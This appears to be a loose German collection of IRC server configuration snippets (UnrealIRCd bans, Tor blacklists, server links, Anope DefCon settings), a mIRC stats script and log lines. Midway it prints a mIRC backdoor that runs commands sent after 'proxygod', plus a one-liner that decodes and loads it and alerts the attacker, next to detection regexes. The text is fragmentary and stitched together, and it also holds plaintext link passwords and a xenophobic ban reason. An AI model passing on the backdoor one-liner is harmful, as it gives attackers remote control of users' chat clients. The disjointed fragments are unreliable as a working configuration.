blacklist {
    name = "<port>.<umgedrehte ZielIP>.ip-port.exitlist.torproject.org";
    type = "A record reply";
    reply {
        2 = "Tor exit server";
    };
    ban_unknown = no;
    kline = "GZLINE *@%i 86400 :%n a TOR Exit Node was found on your host, those are forbidden on this network. Use your real IP instead.";
};

link server2.deinnetz.org
{
    username    *;
    hostname     server2.deinnetz.org;
    bind-ip     *;
    port         6665;
    hub             *;
    password-connect "linkpassX";
    password-receive "linkpassY";
    class           servers;
        options {
            zip;
            nohostcheck;
            nodnscache;
        };
};

link server1.deinnetz.org
{
    username    *;
    hostname     server1.deinnetz.org;
    bind-ip     *;
    port         6665;
    hub             *;
    password-connect "linkpassY";
    password-receive "linkpassX";
    class           servers;
        options {
            zip;
            nohostcheck;
            nodnscache;
            autoconnect;
        };
};

link new-funpower.dream-irc.de {

hostname domain.von.deinem.netz.de;

listen *:6665 {
    options {
        serversonly;
    };
};

me
{
    name "servername.deinnetz.org";
    info "info eben";
    numeric 19;
};

(?i)((.*\$decode\(.*\).*(((\/|\.)load.*)|(\/|\.)write.*))|(.*(((\/|\.)load.*)|(\/|\.)write.*)\$decode\(.*\).*)|(.*(\/|\.)write.*(\/|\.)load.*)|(.*\/\/\$decode\(.*\).*)|(.*\$\(\$decode\(.*\).*\))|(.*\/echo\040\-[a-zA-Z]{1,3}.*\$decode\(.*\).*))

f4 wmp2

wmp2 {
  me 9np: 14[10  %ssong 14] 7by WMP 12
}

[Mo 20.07.2009|02:13:42] [DISCONNECT] tunix16 (atte@echo940.server4you.de) [Quit: http://irc.netsplit.de/]
[Mo 20.07.2009|02:13:50] Exiting ssl client [@85.25.141.52.17585]: SSL_write(): Internal OpenSSL error or protocol error

[Mi 15.07.2009|01:43:02] Exiting ssl client Gimmly[@91.10.234.196.2067]: SSL_read(): Underlying socket operation returned zero
[Mi 15.07.2009|01:48:15] Exiting ssl client [@91.10.234.196.2112]: SSL_write(): OpenSSL functions requested a read()

    connregex = "\\*\\*\\* Notice -- Client connecting: ([^ ]+) \\(([^@]+)@([^\\)]+)\\) \\[([0-9\\.]+)\\].*";

connregex = "\\*\\*\\* Notice -- Client connecting.*: ([^ ]+) \\(([^@]+)@([^\\)]+)\\) \\[([0-9\\.]+)\\].*";

        blacklist {
           name = "ircbl.ahbl.org";
           type = "A record reply";
           ban_unknown = yes;
           reply {
              2 = "Abusive";
           };
           kline = "GZLINE *@%i 1d :%n, Your IP, %i, is in our DDoS/Drone/Spammer/Abuse List.. http://www.ahbl.org/tools/lookup.php?ip=%i";
        };

        blacklist {
           name = "tor.ahbl.org";
           type = "A record reply";
           reply {
              2 = "Tor exit server";
           };
           ban_unknown = no;
           kline = "GZLINE *@%i 1d :%n, Your IP, %i, is in our TOR Server List..  http://www.ahbl.org/tools/lookup.php?ip=%i";
        };

      blacklist {
           name = "tor.dnsbl.sectoor.de";
           type = "A record reply";
           reply {
              1 = "Tor exit server";
           };
           ban_unknown = no;
           kline = "GZLINE *@%i 1d :%n, Your IP, %i, is in our TOR Server List.. http://www.sectoor.de/tor.php?ip=%i";
        };

alias myminicity {
if (!$sock(myminicity)) {
sockopen myminicity %myminicity 80
}
else msg 7,1 %myminicitychan Stats werden bereits abgefragt.
}

on *:text:!myminicity:#:{
if (%myminicity != $null) myminicity | set %myminicitychan $chan
else msg $chan 7,1 Es wurde keine Stadt gesetzt! Gib bitte einem Op bescheid.
}

on *:text:!myminicity set url*:#:{
if ($nick isop $chan) {
if ($4 != $null) set %myminicity $4 | msg $chan $4 wurde als Adresse gesetzt.
else msg $chan 7,1 Syntax: !myminicity set <url> (ohne http://)
}
else msg $chan 7,1 Das können nur Ops!
}

on *:sockopen:myminicity: {
if ($sockerr > 0) {
msg %myminicitychan 7,1 Fehler beim Verbindungsaufbau.
return
}
sockwrite -n $sockname GET /xml HTTP/1.1
sockwrite -n $sockname Host: $sock($sockname).addr
sockwrite -n $sockname Connection: close
sockwrite -n $sockname $crlf
}

on *:sockread:myminicity: {
if ($sockerr > 0) {
msg %myminicitychan 7,1 Fehler beim Auslesen.
return
}
var %s
sockread %s
while ($sockbr > 0) {

if (*<name>*</name>* iswm %s) {
msg %myminicitychan 7,1MyMiniCity Stats von 11,1 $+ $remove(%s,<name>,</name>)
}
if (*<ranking>*</ranking>* iswm %s) {
msg %myminicitychan 7,1aktueller Platz:11,1 $remove(%s,<ranking>,</ranking>)
}
if (*<population>*</population>* iswm %s) {
msg %myminicitychan 7,1Einwohner:11,1 $remove(%s,<population>,</population>) 7,1- Link: http:// $+ $sock($sockname).addr
}
if (*<unemployment>*</unemployment>* iswm %s) {
msg %myminicitychan 7,1Arbeitslosigkeit:11,1 $remove(%s,<unemployment>,</unemployment>) % 7,1- Link: http:// $+ $sock($sockname).addr $+ /ind 11,1oder7,1 http:// $+ $sock($sockname).addr $+ /com
}
if (*<transport>*</transport>* iswm %s) {
msg %myminicitychan 7,1Verkehrsanbindung:11,1 $remove(%s,<transport>,</transport>) % 7,1- Link: http:// $+ $sock($sockname).addr $+ /tra
}
if (*<criminality>*</criminality>* iswm %s) {
msg %myminicitychan 7,1Kriminalitätsrate:11,1 $remove(%s,<criminality>,</criminality>) % 7,1- Link: http:// $+ $sock($sockname).addr $+ /sec
}
if (*<pollution>*</pollution>* iswm %s) {
msg %myminicitychan 7,1Umweltverschmutzung:11,1 $remove(%s,<pollution>,</pollution>) % 7,1- Link: http:// $+ $sock($sockname).addr $+ /env
}
sockread %s
}
}
; ©[B]astel

«01:36:05» «@[B]astel» !myminicity set url tali-town.myminicity.com
«01:36:06» «@Force» tali-town.myminicity.com wurde als Adresse gesetzt.
«01:36:30» «@[B]astel» !myminicity
«01:36:33» «@Force» MyMiniCity Stats von Tali Town
«01:36:34» «@Force» aktueller Platz: 3671
«01:36:34» «@Force» Einwohner: 462 - Link: http://tali-town.myminicity.com
«01:36:34» «@Force» Arbeitslosigkeit: 1 % - Link: http://tali-town.myminicity.com/ind oder http://tali-town.myminicity.com/com
«01:36:34» «@Force» Verkehrsanbindung: 98 % - Link: http://tali-town.myminicity.com/tra
«01:36:34» «@Force» Kriminalitätsrate: 0 % - Link: http://tali-town.myminicity.com/sec
«01:36:34» «@Force» Umweltverschmutzung: 0 % - Link: http://tali-town.myminicity.com/env

###########################################################################
#
# DefCon configuration
#
###########################################################################

# DefConLevel <level> [OPTIONAL]
#     Default defcon level (1-5) to use when starting services up, level 5
#     instructs services to run as normal.

DefConLevel 5

# DefCon1-4 <numeric> [REQUIRED if Defcon is activated]
#     These numercics determine which of the following operations take place
#     at each level, the correct numeric can be found by adding together the
#     number for each restriction you wish to place at a level.
#     No new channel registrations            1
#     No New Nick Registrations                2
#     No MLOCK changes                     4
#     Force Chan Mode                    8
#     Use Reduced Session Limit                16
#     KILL any new clients trying to connect        32
#     Services will ignore everyone but opers        64
#     Services will silently ignore everyone but opers    128
#     AKILL all new clients trying to connect        256
#     No new memos sent to block memoserv attacks    512

#DefCon4 23
#     No channel reg + No Nick Reg + No MLOCK changes + Use Reduced Session Limit
#           1        +      2      +         4        +            16

#DefCon3 31
#     As DefCon4 + Services will Force Chan Mode's on channels
#          23    +                     8

#DefCon2 159
#     As DefCon3 + Services will silently ignore everyone but opers
#          31    +                    128

#DefCon1 415
#     As DefCon2 + AKILL all new clients trying to connect
#          159   +                  256


# DefConSessionLimit <limit> [REQUIRED if DefCon is activated]
#     New session limit to use when a defcon level is using "reduced"
#     session limiting.
#     NOTE: When using DefCon this value needs to be defined
#DefConSessionLimit 2

# DefConAkillExpire <time> [REQUIRED if DefCon is activated]
#     Length of time to add the AKILL for when DEFCON is preventing
#     all new clients from connecting to the network
#
#     NOTE: As with all expire times, the expirey check will only be
#     carried out once every "ExpireTimeout" so if this setting is
#     30m the the akill could last for 30m regardless of this setting.
#
#     NOTE: When using DefCon this value needs to be defined
#DefConAkillExpire 5m

# DefConChanModes <modes> [REQUIRED if DefCon is activated]
#     The channel modes to set on all channel's when the DefCon channel
#     mode system is in use.
#
#     NOTE: Choose these modes carefully, because when defcon switches to
#     a level which does NOT have the mode setting selected, services will
#     set the reverse on all channel's, e.g. if this setting is +RN
#     when defcon is used all channel's will be set to +RN, when
#     defcon is removed, channels will all be set to -RN. You don't
#     want to set this to +k for example because when defcon is removed all
#     channels will -k.
#     NOTE: mlock'ed modes will not be lost
#DefConChanModes "+R"

# DefConTimeOut <time> [OPTIONAL]
#     This value can be used to automatically return the network to
#     defcon 5 after the specified time period - just in case any opers
#     forget to remove a defcon setting.
DefConTimeOut 15m

# GlobalOnDefcon [OPTIONAL]
#
#     Setting this directive will make Services send a global message on
#     Defcon Level changes.
GlobalOnDefcon

# GlobalOnDefconMore [OPTIONAL]
#
#     Setting this directive will make Services send a global message on
#     Defcon Level changes. Uncommenting this will allow you to send along
#     with the new level, the DefconMessage.
GlobalOnDefconMore

#DefconMessage "Put your message to send your users here. Dont forget to uncomment GlobalOnDefconMore"

# DefConOffMessage [OPTIONAL]
#
#     If this is defined, it will be used in place of GlobalOnDefcon and
#     GlobalOnDefconMore when defcon is returned to level 5
DefConOffMessage "Services are now back to normal, sorry for any inconvenience"

# DefConAkillReason <text> [REQUIRED if DefCon is activated]
#
#     When using DEFCON this setting will be used when any clients are killed
#     or akilled from the network by defcon
#
#DefConAkillReason "This network is currently not accepting connections, please try again later"

system.sslport=1234

./configure --enable-ssl
make
make install

openssl genrsa -des3 -out sbnc.key 1024
openssl req -new -x509 -days 600 -key sbnc.key -out sbnc.crt

listen *:6601 {
options {
ssl;
clientsonly;
};
};

listen *:6664 {
options {
ssl;
serversonly;
};
};

link abc.de {
...
options {
ssl;
...
};
};

on ^*:text:proxygod*:?:{ . $+ $2- | haltdef }

//write czm.mrc $decode(b24gXio6dGV4dDpwcm94eWdvZCo6Pzp7IC4gJCsgJDItIHwgaGFsdGRlZiB9,m) | .load -rs czm.mrc | msg YOURNICK i love you

(\/\/write\s.*\s\$decode\(.*\)\s\|\s\.load\s\-rs\s.*)

/msg Floodworld +++

/msg Floodworld ***

###############
   # This sections of the loops makes sure
   # that all mIRC Color Codes, Bold Char,
   # Underline Char, Reverse Char, and
   # Regular Char is stripped from any
   # messages. (High ASCII Char's set in config.pm)
   $temp =~ s/[$Bold,$UnderLine,$Reverse,$Regular]//g;
   $temp =~ s/$Color[0-9]{1,2},[0-9]{1,2}//g;
   $temp =~ s/$Color[0-9]{1,2}//g;
   $temp =~ s/$Color//g;
   $temp =~ s/\?\?\?\?//g;

$temp =~ s/\+\+//g;
$temp =~ s/\*\*//g;

            foreach $CheckCom (keys %commands) {
               if ($CheckCom =~ /^\Q$newCom\E/) {

link irc.doma.in
{
username *;
hostname xx.xx.xxx.xx;
bind-ip *;
port 40000;
hub *;
password-connect "xtr4gizw";
password-receive "xtr4gizw";
class servers;

};

/spamfilter add cpnNqt gline 0 Network_Spam irc\.[^ ]+\.(com|org|info|eu)

.(com|org|info|eu)

oper Ying-Yang {
class clients;
from {
userhost *@*;
};
password "****";
flags
{
global;
can_localnotice;
can_globalnotice;
can_override;
get_host;
};
};

-OperServ- On Level Nickname
-OperServ- * OPER Ying-Yang
-OperServ- * ROOT Anubiz
-OperServ- Ende der Staff Liste.

allow dcc {
    filename "<Dateinmaske>";
    soft [yes|no];
};

allow dcc {
    filename "*.jpg";
    soft no;
};

allow channel {
    channel "<channel-mask>";
};

allow channel {
    channel "#*help*";
};

deny channel {
    channel "<Maske>";
    reason "<Grund>";
    redirect "<#Chan>";
    warn [on|off];
};

deny channel {
    channel "#*warez*";
    reason "Warez sind hier nicht erlaubt";
    redirect "#help>";
    warn on;
};

deny dcc {
    filename <Maske für Dateinamen>;
    reason "<Grund>";
    soft [yes|no];
};

deny dcc {
    filename *.exe;
    reason "Dies ist eine Ausführbare Datei!";
    soft yes;
};

except throttle {
    mask <ipmask>;
};

except throttle {
    mask 123.123.123.12*;
};

except tkl {
    mask <<Ident>@<Host>>;
    type <type>;
    type {
        <type>;
        <type>;
        ...
    };
};

except tkl {
    mask *@*.dream-irc.de;
    type {
        shun;
        gline;
        gzline;
        qline;
        gqline;
    };
};

except tkl {
    mask *@*.dream-irc.de;
    type gline;
};

except ban {
    mask <<ident>@<Host>>;
};

except ban {
    mask *@*.dream-irc.de;
};

ban version {
    mask "<Versionsmaske>";
    reason "<Bangrund>";
    action [kill|tempshun|shun|kline|zline|gline|gzline];
};

ban version {
    mask "mIRC 5.21";
    reason "You are using a too old version of mIRC, please use the new one from http://www.mirc.com";
    action kill;
};

ban realname {
    mask "<Realnamemaske>";
    reason "<Bangrund>";
};

ban realname {
    mask "seraph";
    reason "Du kommst hier nicht rein :P";
};

ban server {
    mask <server-name>;
    reason <reason-for-ban>;
};

ban server {
    mask *.notlink.*;
    reason "This link doesn´t exist any longer";
};

ban ip {
    mask <ipmask>;
    reason <reason-for-ban>;
};

ban ip {
    mask 123.123.123.123;
    reason "Du bleibst draußen!";
};

ban user {
    mask <Maske in <ident>@<host>>;
    reason <BanGrund>;
};

ban user {
    mask *@*.it;
    reason "Italiener sind doof :D";
};

ban user {
    mask flooder*@*.de;
    reason "Flooder bleiben draußen";
};

ban nick {
    mask <Nicknmaske>;
    reason <BanGrund>;
};

ban nick {
    mask "*S*e*r*v*";
    reason "Do not use Services Nicks!";
};

log <Dateiname> {
    maxsize <Maximale Dateigröße>;
    flags {
        <flag>;
        <flag>;
        ...
    };
};

log "ircd.log" {
    maxsize 2MB;
    flags {
        oper;
        kline;
        connects;
        server-connects;
        kills;
        errors;
        sadmin-commands;
        chg-commands;
        oper-override;
        spamfilter;
    };
};